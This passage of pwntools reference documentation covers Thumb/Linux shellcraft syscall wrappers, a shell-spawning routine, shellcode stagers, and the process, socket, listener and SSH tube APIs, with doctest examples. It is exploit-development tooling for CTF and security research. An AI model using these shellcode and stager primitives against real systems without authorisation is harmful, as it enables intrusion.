Invokes the syscall `select`. See ‘man 2 `select`’ for more information.

Parameters

- **nfds** (*int*) – nfds
- **readfds** (*fd_set*) – readfds
- **writefds** (*fd_set*) – writefds
- **exceptfds** (*fd_set*) – exceptfds
- **timeout** (*timeval*) – timeout

`pwnlib.shellcraft.thumb.linux.sendfile` (*out_fd*, *in_fd*, *offset*, *count*)

Invokes the syscall `sendfile`. See ‘man 2 `sendfile`’ for more information.

Parameters

- **out_fd** (*int*) – out_fd
- **in_fd** (*int*) – in_fd

- **offset** (*off_t*) – offset
- **count** (*size_t*) – count

`pwnlib.shellcraft.thumb.linux.sendfile64` (*out_fd, in_fd, offset, count*)
 Invokes the syscall `sendfile64`. See ‘man 2 `sendfile64`’ for more information.

Parameters

- **out_fd** (*int*) – out_fd
- **in_fd** (*int*) – in_fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

`pwnlib.shellcraft.thumb.linux.setdomainname` (*name, length*)
 Invokes the syscall `setdomainname`. See ‘man 2 `setdomainname`’ for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

`pwnlib.shellcraft.thumb.linux.setgid` (*gid*)
 Invokes the syscall `setgid`. See ‘man 2 `setgid`’ for more information.

Parameters **gid** (*gid_t*) – gid

`pwnlib.shellcraft.thumb.linux.setgroups` (*n, groups*)
 Invokes the syscall `setgroups`. See ‘man 2 `setgroups`’ for more information.

Parameters

- **n** (*size_t*) – n
- **groups** (*gid_t*) – groups

`pwnlib.shellcraft.thumb.linux.sethostname` (*name, length*)
 Invokes the syscall `sethostname`. See ‘man 2 `sethostname`’ for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

`pwnlib.shellcraft.thumb.linux.setitimer` (*which, new, old*)
 Invokes the syscall `setitimer`. See ‘man 2 `setitimer`’ for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **new** (*itimerval*) – new
- **old** (*itimerval*) – old

`pwnlib.shellcraft.thumb.linux.setpgid` (*pid, pgid*)
 Invokes the syscall `setpgid`. See ‘man 2 `setpgid`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **pgid** (*pid_t*) – pgid

`pwnlib.shellcraft.thumb.linux.setpriority` (*which, who, prio*)
Invokes the syscall `setpriority`. See ‘man 2 `setpriority`’ for more information.

Parameters

- **which** (*priority_which_t*) – which
- **who** (*id_t*) – who
- **prio** (*int*) – prio

`pwnlib.shellcraft.thumb.linux.setregid` (*rgid, egid*)
Invokes the syscall `setregid`. See ‘man 2 `setregid`’ for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid

`pwnlib.shellcraft.thumb.linux.setresgid` (*rgid, egid, sgid*)
Invokes the syscall `setresgid`. See ‘man 2 `setresgid`’ for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid
- **sgid** (*gid_t*) – sgid

`pwnlib.shellcraft.thumb.linux.setresuid` (*ruid, euid, suid*)
Invokes the syscall `setresuid`. See ‘man 2 `setresuid`’ for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid
- **suid** (*uid_t*) – suid

`pwnlib.shellcraft.thumb.linux.setreuid` (*ruid, euid*)
Invokes the syscall `setreuid`. See ‘man 2 `setreuid`’ for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid

`pwnlib.shellcraft.thumb.linux.setrlimit` (*resource, rlimits*)
Invokes the syscall `setrlimit`. See ‘man 2 `setrlimit`’ for more information.

Parameters

- **resource** (*rlimit_resource_t*) – resource
- **rlimits** (*rlimit*) – rlimits

`pwnlib.shellcraft.thumb.linux.setsid` ()
Invokes the syscall `setsid`. See ‘man 2 `setsid`’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.settimeofday` (*tv, tz*)
Invokes the syscall `settimeofday`. See ‘man 2 `settimeofday`’ for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone*) – tz

`pwnlib.shellcraft.thumb.linux.setuid` (*uid*)

Invokes the syscall `setuid`. See ‘man 2 `setuid`’ for more information.

Parameters `uid` (*uid_t*) – uid

`pwnlib.shellcraft.thumb.linux.sh` ()

Execute a different process.

```
>>> p = run_assembly(shellcraft.thumb.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
b'Hello\n'
```

`pwnlib.shellcraft.thumb.linux.sigaction` (*sig, act, oact*)

Invokes the syscall `sigaction`. See ‘man 2 `sigaction`’ for more information.

Parameters

- **sig** (*int*) – sig
- **act** (*sigaction*) – act
- **oact** (*sigaction*) – oact

`pwnlib.shellcraft.thumb.linux.sigaltstack` (*ss, oss*)

Invokes the syscall `sigaltstack`. See ‘man 2 `sigaltstack`’ for more information.

Parameters

- **ss** (*sigaltstack*) – ss
- **oss** (*sigaltstack*) – oss

`pwnlib.shellcraft.thumb.linux.signal` (*sig, handler*)

Invokes the syscall `signal`. See ‘man 2 `signal`’ for more information.

Parameters

- **sig** (*int*) – sig
- **handler** (*sighandler_t*) – handler

`pwnlib.shellcraft.thumb.linux.sigpending` (*set*)

Invokes the syscall `sigpending`. See ‘man 2 `sigpending`’ for more information.

Parameters `set` (*sigset_t*) – set

`pwnlib.shellcraft.thumb.linux.sigprocmask` (*how, set, oset*)

Invokes the syscall `sigprocmask`. See ‘man 2 `sigprocmask`’ for more information.

Parameters

- **how** (*int*) – how
- **set** (*sigset_t*) – set
- **oset** (*sigset_t*) – oset

`pwnlib.shellcraft.thumb.linux.sigreturn` (*scp*)

Invokes the syscall `sigreturn`. See ‘man 2 `sigreturn`’ for more information.

`pwnlib.shellcraft.thumb.linux.sigsuspend` (*set*)

Invokes the syscall `sigsuspend`. See ‘man 2 `sigsuspend`’ for more information.

Parameters `set (sigset_t)` – set

`pwnlib.shellcraft.thumb.linux.splice (fdin, offin, fdout, offout, length, flags)`
Invokes the syscall splice. See ‘man 2 splice’ for more information.

Parameters

- **fdin** (*int*) – fdin
- **offin** (*off64_t*) – offin
- **fdout** (*int*) – fdout
- **offout** (*off64_t*) – offout
- **len** (*size_t*) – len
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.thumb.linux.stager (fd=0, length=None)`
Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to recv data from. Default is stdin (0).
- **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stager())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
b'Hello\n'
```

`pwnlib.shellcraft.thumb.linux.stager (sock, size)`

Read ‘size’ bytes from ‘sock’ and place them in an executable buffer and jump to it. The socket will be left in r6.

`pwnlib.shellcraft.thumb.linux.stat (file, buf)`

Invokes the syscall stat. See ‘man 2 stat’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat*) – buf

`pwnlib.shellcraft.thumb.linux.stat64 (file, buf)`

Invokes the syscall stat64. See ‘man 2 stat64’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat64*) – buf

`pwnlib.shellcraft.thumb.linux.stime (when)`

Invokes the syscall stime. See ‘man 2 stime’ for more information.

Parameters `when (time_t)` – when

`pwnlib.shellcraft.thumb.linux.stty` (*fd, params*)

Invokes the syscall `stty`. See ‘man 2 `stty`’ for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

`pwnlib.shellcraft.thumb.linux.symlink` (*from_, to*)

Invokes the syscall `symlink`. See ‘man 2 `symlink`’ for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

`pwnlib.shellcraft.thumb.linux.symlinkat` (*from_, tofd, to*)

Invokes the syscall `symlinkat`. See ‘man 2 `symlinkat`’ for more information.

Parameters

- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to

`pwnlib.shellcraft.thumb.linux.sync` ()

Invokes the syscall `sync`. See ‘man 2 `sync`’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.sync_file_range` (*fd, offset, count, flags*)

Invokes the syscall `sync_file_range`. See ‘man 2 `sync_file_range`’ for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset
- **count** (*off64_t*) – count
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.thumb.linux.syscall` (*syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None, arg6=None*)

Args: [`syscall_number`, `*args`] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(shellcraft.thumb.linux.syscall(11, 1, 'sp', 2, 0).rstrip())
/* call syscall(11, 1, 'sp', 2, 0) */
mov r0, #1
mov r1, sp
mov r2, #2
eor r3, r3
mov r7, #0xb
svc 0x41
>>> print(shellcraft.thumb.linux.syscall('SYS_exit', 0).rstrip())
```

```
/* call exit(0) */
eor r0, r0
mov r7, #(SYS_exit) /* 1 */
svc 0x41
```

`pwnlib.shellcraft.thumb.linux.syslog` (*pri, fmt, vararg*)

Invokes the syscall `syslog`. See ‘man 2 `syslog`’ for more information.

Parameters

- **pri** (*int*) – pri
- **fmt** (*char*) – fmt
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.thumb.linux.tee` (*fdin, fdout, length, flags*)

Invokes the syscall `tee`. See ‘man 2 `tee`’ for more information.

Parameters

- **fdin** (*int*) – fdin
- **fdout** (*int*) – fdout
- **len** (*size_t*) – len
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.thumb.linux.time` (*timer*)

Invokes the syscall `time`. See ‘man 2 `time`’ for more information.

Parameters **timer** (*time_t*) – timer

`pwnlib.shellcraft.thumb.linux.timer_create` (*clock_id, evp, timerid*)

Invokes the syscall `timer_create`. See ‘man 2 `timer_create`’ for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **evp** (*sigevent*) – evp
- **timerid** (*timer_t*) – timerid

`pwnlib.shellcraft.thumb.linux.timer_delete` (*timerid*)

Invokes the syscall `timer_delete`. See ‘man 2 `timer_delete`’ for more information.

Parameters **timerid** (*timer_t*) – timerid

`pwnlib.shellcraft.thumb.linux.timer_getoverrun` (*timerid*)

Invokes the syscall `timer_getoverrun`. See ‘man 2 `timer_getoverrun`’ for more information.

Parameters **timerid** (*timer_t*) – timerid

`pwnlib.shellcraft.thumb.linux.timer_gettime` (*timerid, value*)

Invokes the syscall `timer_gettime`. See ‘man 2 `timer_gettime`’ for more information.

Parameters

- **timerid** (*timer_t*) – timerid
- **value** (*itimerspec*) – value

`pwnlib.shellcraft.thumb.linux.timer_settime` (*timerid, flags, value, ovalue*)

Invokes the syscall `timer_settime`. See ‘man 2 `timer_settime`’ for more information.

Parameters

- **timerid** (*timer_t*) – timerid
- **flags** (*int*) – flags
- **value** (*itimerspec*) – value
- **ovalue** (*itimerspec*) – ovalue

`pwnlib.shellcraft.thumb.linux.truncate` (*file, length*)

Invokes the syscall truncate. See ‘man 2 truncate’ for more information.

Parameters

- **file** (*char*) – file
- **length** (*off_t*) – length

`pwnlib.shellcraft.thumb.linux.truncate64` (*file, length*)

Invokes the syscall truncate64. See ‘man 2 truncate64’ for more information.

Parameters

- **file** (*char*) – file
- **length** (*off64_t*) – length

`pwnlib.shellcraft.thumb.linux.ulimit` (*cmd, vararg*)

Invokes the syscall ulimit. See ‘man 2 ulimit’ for more information.

Parameters

- **cmd** (*int*) – cmd
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.thumb.linux.umask` (*mask*)

Invokes the syscall umask. See ‘man 2 umask’ for more information.

Parameters **mask** (*mode_t*) – mask

`pwnlib.shellcraft.thumb.linux.uname` (*name*)

Invokes the syscall uname. See ‘man 2 uname’ for more information.

Parameters **name** (*utsname*) – name

`pwnlib.shellcraft.thumb.linux.unlink` (*name*)

Invokes the syscall unlink. See ‘man 2 unlink’ for more information.

Parameters **name** (*char*) – name

`pwnlib.shellcraft.thumb.linux.unlinkat` (*fd, name, flag*)

Invokes the syscall unlinkat. See ‘man 2 unlinkat’ for more information.

Parameters

- **fd** (*int*) – fd
- **name** (*char*) – name
- **flag** (*int*) – flag

`pwnlib.shellcraft.thumb.linux.unshare` (*flags*)

Invokes the syscall unshare. See ‘man 2 unshare’ for more information.

Parameters **flags** (*int*) – flags

`pwnlib.shellcraft.thumb.linux.ustat` (*dev, ubuf*)

Invokes the syscall ustat. See ‘man 2 ustat’ for more information.

Parameters

- **dev** (*dev_t*) – dev
- **ubuf** (*ustat*) – ubuf

`pwnlib.shellcraft.thumb.linux.utime` (*file, file_times*)

Invokes the syscall `utime`. See ‘man 2 `utime`’ for more information.

Parameters

- **file** (*char*) – file
- **file_times** (*utimbuf*) – file_times

`pwnlib.shellcraft.thumb.linux.utimensat` (*fd, path, times, flags*)

Invokes the syscall `utimensat`. See ‘man 2 `utimensat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **times** (*timespec*) – times
- **flags** (*int*) – flags

`pwnlib.shellcraft.thumb.linux.utimes` (*file, tvp*)

Invokes the syscall `utimes`. See ‘man 2 `utimes`’ for more information.

Parameters

- **file** (*char*) – file
- **tvp** (*timeval*) – tvp

`pwnlib.shellcraft.thumb.linux.vfork` ()

Invokes the syscall `vfork`. See ‘man 2 `vfork`’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.vhangup` ()

Invokes the syscall `vhangup`. See ‘man 2 `vhangup`’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.vmsplice` (*fdout, iov, count, flags*)

Invokes the syscall `vmsplice`. See ‘man 2 `vmsplice`’ for more information.

Parameters

- **fdout** (*int*) – fdout
- **iov** (*iovec*) – iov
- **count** (*size_t*) – count
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.thumb.linux.wait4` (*pid, stat_loc, options, usage*)

Invokes the syscall `wait4`. See ‘man 2 `wait4`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*WAIT_STATUS*) – stat_loc

- **options** (*int*) – options
- **usage** (*rusage*) – usage

`pwnlib.shellcraft.thumb.linux.waitid` (*idtype, id, infop, options*)
 Invokes the syscall `waitid`. See ‘man 2 `waitid`’ for more information.

Parameters

- **idtype** (*idtype_t*) – idtype
- **id** (*id_t*) – id
- **infop** (*siginfo_t*) – infop
- **options** (*int*) – options

`pwnlib.shellcraft.thumb.linux.waitpid` (*pid, stat_loc, options*)
 Invokes the syscall `waitpid`. See ‘man 2 `waitpid`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*int*) – stat_loc
- **options** (*int*) – options

`pwnlib.shellcraft.thumb.linux.write` (*fd, buf, n*)
 Invokes the syscall `write`. See ‘man 2 `write`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n

`pwnlib.shellcraft.thumb.linux.writev` (*fd, iovec, count*)
 Invokes the syscall `writev`. See ‘man 2 `writev`’ for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count

2.18 pwnlib.term — Terminal handling

`pwnlib.term.can_init` ()

This function returns `True` iff `stdout` is a TTY and we are not inside a REPL. If this function returns `True`, a call to `init` () will let `pwnlib` manage the terminal.

`pwnlib.term.init` ()

Calling this function will take over the terminal (iff `can_init` () returns `True`) until the current python interpreter is closed.

It is on our TODO, to create a function to “give back” the terminal without closing the interpreter.

`pwnlib.term.term_mode = False`

This is `True` exactly when we have taken over the terminal using `init` () .

2.19 `pwnlib.timeout` — Timeout handling

Timeout encapsulation, complete with countdowns and scope managers.

class `pwnlib.timeout.Timeout` (*timeout=pwnlib.timeout.Timeout.default*)

Implements a basic class which has a timeout, and support for scoped timeout countdowns.

Valid timeout values are:

- `Timeout.default` use the global default value (`context.default`)
- `Timeout.forever` or `None` never time out
- Any positive float, indicates timeouts in seconds

Example

```
>>> context.timeout = 30
>>> t = Timeout()
>>> t.timeout == 30
True
>>> t = Timeout(5)
>>> t.timeout == 5
True
>>> i = 0
>>> with t.countdown():
...     print(4 <= t.timeout <= 5)
...
True
>>> with t.countdown(0.5):
...     while t.timeout:
...         print(round(t.timeout, 1))
...         time.sleep(0.1)
0.5
0.4
0.3
0.2
0.1
>>> print(t.timeout)
5.0
>>> with t.local(0.5):
...     for i in range(5):
...         print(round(t.timeout, 1))
...         time.sleep(0.1)
0.5
0.5
0.5
0.5
0.5
>>> print(t.timeout)
5.0
```

countdown (*timeout=pwnlib.timeout.Timeout.default*)

Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.

When accessing `timeout` within the scope, it will be calculated against the time when the scope was entered, in a countdown fashion.

If `None` is specified for `timeout`, then the current timeout is used is made. This allows `None` to be specified as a default argument with less complexity.

default = pwnlib.timeout.Timeout.default

Value indicating that the timeout should not be changed

forever = None

Value indicating that a timeout should not ever occur

local (*timeout*)

Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.

maximum = 1048576.0

Maximum value for a timeout. Used to get around platform issues with very large timeouts.

OSX does not permit setting socket timeouts to $2^{**}22$. Assume that if we receive a timeout of $2^{**}21$ or greater, that the value is effectively infinite.

timeout

Timeout for obj operations. By default, uses `context.timeout`.

timeout_change ()

Callback for subclasses to hook a timeout change.

2.20 pwnlib.tubes — Talking to the World!

The pwnlib is not a big truck! It's a series of tubes!

This is our library for talking to sockets, processes, ssh connections etc. Our goal is to be able to use the same API for e.g. remote TCP servers, local TTY-programs and programs running over SSH.

It is organized such that the majority of the functionality is implemented in `pwnlib.tubes.tube`. The remaining classes should only implement just enough for the class to work and possibly code pertaining only to that specific kind of tube.

2.20.1 Types of Tubes

pwnlib.tubes.process — Processes

```
class pwnlib.tubes.process.process (argv, shell=False, executable=None, cwd=None, env=None,
                                   timeout=pwnlib.timeout.Timeout.default, stdin=-1,
                                   stdout=<object object>, stderr=-2, level=None, close_fds=True,
                                   preexec_fn=<function process.<lambda>>, raw=True,
                                   aslr=None, setuid=None)
```

Bases: `pwnlib.tubes.tube.tube`

Spawns a new process, and wraps it with a tube for communication.

Parameters

- **argv** (*list*) – List of arguments to pass to the spawned process.
- **shell** (*bool*) – Set to `True` to interpret `argv` as a string to pass to the shell for interpretation instead of as `argv`.
- **executable** (*str*) – Path to the binary to execute. If `None`, uses `argv[0]`. Cannot be used with `shell`.
- **cwd** (*str*) – Working directory. Uses the current working directory by default.

- **env** (*dict*) – Environment variables. By default, inherits from Python’s environment.
- **timeout** (*int*) – Timeout to use on `tube.recv` operations.
- **stdin** (*int*) – File object or file descriptor number to use for `stdin`. By default, a pipe is used. A `pty` can be used instead by setting this to `process.PTY`. This will cause programs to behave in an interactive manner (e.g., `python` will show a `>>>` prompt). If the application reads from `/dev/tty` directly, use a `pty`.
- **stdout** (*int*) – File object or file descriptor number to use for `stdout`. By default, a `pty` is used so that any `stdout` buffering by `libc` routines is disabled. May also be `subprocess.PIPE` to use a normal pipe.
- **stderr** (*int*) – File object or file descriptor number to use for `stderr`. By default, `stdout` is used. May also be `subprocess.PIPE` to use a separate pipe, although the `tube.wrapper` will not be able to read this data.
- **close_fds** (*bool*) – Close all open file descriptors except `stdin`, `stdout`, `stderr`. By default, `True` is used.
- **preexec_fn** (*callable*) – Callable to invoke immediately before calling `execve`.
- **raw** (*bool*) – Set the created `pty` to raw mode (i.e. disable echo and control characters). `True` by default. If no `pty` is created, this has no effect.
- **aslr** (*bool*) – If set to `False`, disable ASLR via `personality(setarch -R)` and `setrlimit(ulimit -s unlimited)`.

This disables ASLR for the target process. However, the `setarch` changes are lost if a `setuid` binary is executed.

The default value is inherited from `context.aslr`. See `setuid` below for additional options and information.

- **setuid** (*bool*) – Used to control `setuid` status of the target binary, and the corresponding actions taken.

By default, this value is `None`, so no assumptions are made.

If `True`, treat the target binary as `setuid`. This modifies the mechanisms used to disable ASLR on the process if `aslr=False`. This is useful for debugging locally, when the exploit is a `setuid` binary.

If `False`, prevent `setuid` bits from taking effect on the target binary. This is only supported on Linux, with kernels v3.5 or greater.

proc
subprocess

Examples

```
>>> p = process(which('python3'))
>>> p.sendline("print('Hello world')")
>>> p.sendline("print('Wow, such data')")
>>> b'' == p.recv(timeout=0.01)
True
>>> p.shutdown('send')
>>> p.proc.stdin.closed
True
>>> p.connected('send')
False
```

```
>>> p.recvline()
b'Hello world\n'
>>> p.recvuntil(',')
b'Wow,'
>>> p.recvregex('.*data')
b' such data'
>>> p.recv()
b'\n'
>>> p.recv()
Traceback (most recent call last):
...
EOFError
```

```
>>> p = process('cat')
>>> d = open('/dev/urandom', 'rb').read(4096)
>>> p.recv(timeout=0.1)
b''
>>> p.write(d)
>>> p.recvrepeat(0.1) == d
True
>>> p.recv(timeout=0.1)
b''
>>> p.shutdown('send')
>>> p.wait_for_close()
>>> p.poll()
0
```

```
>>> p = process('cat /dev/zero | head -c8', shell=True, stderr=open('/dev/null', 'w+'))
>>> p.recv()
b'\x00\x00\x00\x00\x00\x00\x00\x00'
```

```
>>> p = process(['python2', '-c', 'import os; print os.read(2, 1024)'],
...             preexec_fn=lambda: os.dup2(0, 2))
>>> p.sendline('hello')
>>> p.recvline()
b'hello\n'
```

```
>>> stack_smashing = ['python2', '-c', 'open("/dev/tty", "wb").write("stack smashing detected")']
>>> process(stack_smashing).recvall()
b'stack smashing detected'
>>> process(stack_smashing, stdout=process.PIPE).recvall()
b''
```

```
>>> getpass = ['python2', '-c', 'import getpass; print(getpass.getpass("XXX"))']
>>> p = process(getpass, stdin=process.PTY)
>>> p.recv()
b'XXX'
>>> p.sendline('hunter2')
>>> p.recvall()
b'\nhunter2\n'
```

```
>>> process('echo hello 1>&2', shell=True).recvall()
b'hello\n'
```

```
>>> process('echo hello 1>&2', shell=True, stderr=process.PIPE).recvall()
b''
```

```
>>> a = process(['cat', '/proc/self/maps']).recvall()
>>> b = process(['cat', '/proc/self/maps'], aslr=False).recvall()
>>> with context.local(aslr=False):
...     c = process(['cat', '/proc/self/maps']).recvall()
>>> a == b
False
>>> b == c
True
```

```
>>> process(['sh', '-c', 'ulimit -s'], aslr=0).recvline()
b'unlimited\n'
```

argv = None

Arguments passed on argv

aslr = None

Whether ASLR should be left on

communicate (*stdin=None*) → bytes tuple

Calls `subprocess.Popen.communicate()` method on the process.

cwd = None

Directory the process was created in

env = None

Environment passed on envp

executable = None

Full path to the executable

kill()

Kills the process.

leak (*address, count=0*)

Leaks memory within the process at the specified address.

Parameters

- **address** (*int*) – Address to leak memory at
- **count** (*int*) – Number of bytes to leak at that address.

libc

Returns an ELF for the libc for the current process. If possible, it is adjusted to the correct address automatically.

libs() → dict

Return a dictionary mapping the path of each shared library loaded by the process to the address it is loaded at in the process' address space.

If `/proc/$PID/maps` for the process cannot be accessed, the output of `ldd` alone is used. This may give inaccurate results if ASLR is enabled.

poll (*block=False*) → int

Parameters **block** (*bool*) – Wait for the process to exit

Poll the exit code of the process. Will return None, if the process has not yet finished and the exit code otherwise.

proc = None

`subprocess.Popen` object

program

Alias for `executable`, for backward compatibility

pty = None

Which file descriptor is the controlling TTY

raw = None

Whether the controlling TTY is set to raw mode

pwnlib.tubes.serialtube — Serial Ports

```
class pwnlib.tubes.serialtube.serialtube(port='/dev/ttyUSB0', baudrate=115200,
    convert_newlines=True, bytesize=8, parity='N', stopbits=1,
    xonxoff=False, rtscts=False, dsrdtr=False, timeout='default', level=None)
```

pwnlib.tubes.sock — Sockets

```
class pwnlib.tubes.sock.sock
```

Bases: `pwnlib.tubes.tube.tube`

Methods available exclusively to sockets.

```
class pwnlib.tubes.remote.remote(host, port, fam='any', typ='tcp',
    timeout=pwnlib.timeout.Timeout.default, ssl=False, sock=None,
    level=None)
```

Bases: `pwnlib.tubes.sock.sock`

Creates a TCP or UDP-connection to a remote host. It supports both IPv4 and IPv6.

The returned object supports all the methods from `pwnlib.tubes.sock` and `pwnlib.tubes.tube`.

Parameters

- **host** (*str*) – The host to connect to.
- **port** (*int*) – The port to connect to.
- **fam** – The string “any”, “ipv4” or “ipv6” or an integer to pass to `socket.getaddrinfo()`.
- **typ** – The string “tcp” or “udp” or an integer to pass to `socket.getaddrinfo()`.
- **timeout** – A positive number, None or the string “default”.
- **ssl** (*bool*) – Wrap the socket with SSL
- **sock** (*socket*) – Socket to inherit, rather than connecting

Examples

```
>>> r = remote('google.com', 443, ssl=True)
>>> r.send('GET /\r\n\r\n')
>>> r.recv(4)
b'HTTP'
>>> r = remote('127.0.0.1', 1)
Traceback (most recent call last):
...
PwnlibException: Could not connect to 127.0.0.1 on port 1
```

```

>>> import socket
>>> s = socket.socket()
>>> s.connect(('google.com', 80))
>>> s.send(b'GET /' + b'\r\n' * 2)
9
>>> r = remote.fromsocket(s)
>>> r.recv(4)
b'HTTP'

```

classmethod fromsocket (*socket*)

Helper method to wrap a standard python socket.socket with the tube APIs.

Parameters **socket** – Instance of socket.socket

Returns Instance of pwnlib.tubes.remote.remote.

class pwnlib.tubes.listen.**listen** (*port=0, bindaddr='0.0.0.0', fam='any', typ='tcp', timeout=pwnlib.timeout.Timeout.default, level=None*)

Bases: *pwnlib.tubes.sock.sock*

Creates an TCP or UDP-socket to receive data on. It supports both IPv4 and IPv6.

The returned object supports all the methods from *pwnlib.tubes.sock* and *pwnlib.tubes.tube*.

Parameters

- **port** (*int*) – The port to connect to.
- **bindaddr** (*str*) – The address to bind to.
- **fam** – The string “any”, “ipv4” or “ipv6” or an integer to pass to `socket.getaddrinfo()`.
- **typ** – The string “tcp” or “udp” or an integer to pass to `socket.getaddrinfo()`.
- **timeout** – A positive number, None

wait_for_connection ()

Blocks until a connection has been established.

pwnlib.tubes.ssh — SSH

class pwnlib.tubes.ssh.**ssh** (*user, host, port=22, password=None, key=None, key-file=None, proxy_command=None, proxy_sock=None, timeout=pwnlib.timeout.Timeout.default, level=None, cache=True, ssh_agent=False*)

cache = True

Enable caching of SSH downloads (bool)

client = None

Paramiko SSHClient which backs this object

close ()

Close the connection.

connect_remote (*host, port, timeout=Timeout.default*) → *ssh_connecter*

Connects to a host through an SSH connection. This is equivalent to using the `-L` flag on `ssh`.

Returns a *pwnlib.tubes.ssh.ssh_connecter* object.

Examples

```
>>> from pwn import *
>>> l = listen()
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> a = s.connect_remote(s.host, l.lport)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> b.recvline()
b'Hello\n'
```

`connected()`

Returns True if we are connected.

Example

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> s.connected()
True
>>> s.close()
>>> s.connected()
False
```

`cwd = None`

Working directory (bytes or str)

`download_data(remote)`

Downloads a file from the remote server and returns it as a string.

Parameters `remote` (bytes, str) – The remote filename to download.

Examples

```
>>> with open('/tmp/bar', 'w+') as f:
...     _ = f.write('Hello, world')
>>> os.chmod('/tmp/bar', 0o777)
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass',
...         cache=False)
>>> s.download_data('/tmp/bar')
b'Hello, world'
>>> s._sftp = None
>>> s._tried_sftp = True
>>> s.download_data('/tmp/bar')
b'Hello, world'
```

`download_dir(remote=None, local=None)`

Recursively downloads a directory from the remote server

Parameters

- `remote` (bytes, str) – Remote directory

- **local** (*str*) – Local directory

download_file (*remote*, *local=None*)

Downloads a file from the remote server.

The file is cached in /tmp/pwntools-ssh-cache using a hash of the file, so calling the function twice has little overhead.

Parameters

- **remote** (*bytes*, *str*) – The remote filename to download
- **local** (*bytes*, *str*) – The local filename to save it to. Default is to infer it from the remote filename.

getenv (*variable*, ***kwargs*)

Retrieve the address of an environment variable on the remote system.

Note: The exact address will differ based on what other environment variables are set, as well as `argv[0]`. In order to ensure that the path is *exactly* the same, it is recommended to invoke the process with `argv= []`.

Example

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass',
...         cache=False)
>>>
```

host = None

Remote host name (*str*)

interactive (*shell=None*)

Create an interactive session.

This is a simple wrapper for creating a new `pwnlib.tubes.ssh.ssh_channel` object and calling `pwnlib.tubes.ssh.ssh_channel.interactive()` on it.

libs (*remote*, *directory=None*)

Downloads the libraries referred to by a file.

This is done by running `ldd` on the remote server, parsing the output and downloading the relevant files.

The directory argument specifies where to download the files. This defaults to `./$HOSTNAME` where `$HOSTNAME` is the hostname of the remote server.

listen (*port=0*, *bind_address=''*, *timeout=pwnlib.timeout.Timeout.default*)

`listen_remote(port=0, bind_address='', timeout=Timeout.default) -> ssh_connector`

Listens remotely through an SSH connection. This is equivalent to using the `-R` flag on `ssh`.

Returns a `pwnlib.tubes.ssh.ssh_listener` object.

Examples

```
>>> from pwn import *
>>> s = ssh(host='example.pwnme',
...         user='travis',
```

```

...         password='demopass')
>>> l = s.listen_remote()
>>> a = remote(s.host, l.port)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> b.recvline()
b'Hello\n'

```

listen_remote (*port=0, bind_address='', timeout=Timeout.default*) → *ssh_connector*
 Listens remotely through an SSH connection. This is equivalent to using the `-R` flag on `ssh`.
 Returns a `pwnlib.tubes.ssh.ssh_listener` object.

Examples

```

>>> from pwn import *
>>> s = ssh(host='example.pwnme',
...        user='travis',
...        password='demopass')
>>> l = s.listen_remote()
>>> a = remote(s.host, l.port)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> b.recvline()
b'Hello\n'

```

pid = None

PID of the remote `sshd` process servicing this connection.

port = None

Remote port (*int*)

process (*argv=None, executable=None, tty=True, cwd=None, env=None, timeout=pwnlib.timeout.Timeout.default, run=True, stdin=0, stdout=1, stderr=2, preexec_fn=None, preexec_args=[], raw=True, aslr=None, setuid=None*)

Executes a process on the remote server, in the same fashion as `pwnlib.tubes.process.process`.

